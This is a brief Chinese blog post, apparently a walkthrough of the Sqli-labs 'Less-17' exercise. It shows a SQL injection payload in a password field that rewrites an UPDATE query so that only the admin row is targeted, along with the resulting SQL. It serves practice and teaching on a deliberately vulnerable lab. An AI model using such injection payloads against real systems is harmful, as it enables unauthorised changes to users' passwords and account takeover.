Less-17 Update Query

  • A+
所属分类:安全博客

因为是UPDATE语句,所以最好还是把剩下的WHERE username=’admin’补上,不然可能所有人密码都变了。
所以可以构造的语句是:

uname=admin&passwd=211' WHERE username='admin' and 1=2#&submit=Submit

对应的SQL语句为

UPDATE users SET password = '211' WHERE username='admin' and 1=2#' WHERE username='admin'

FROM :rickyhao.com | rickyhao.com

相关推荐: Pwnable.kr Level 1 Writeup

Pwnable.kr Level 1 Writeup Last updated:Mar.23, 2017 CST 23:47:23 Pwnable.kr Level 1 Writeup collision bof flag passcode random in…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: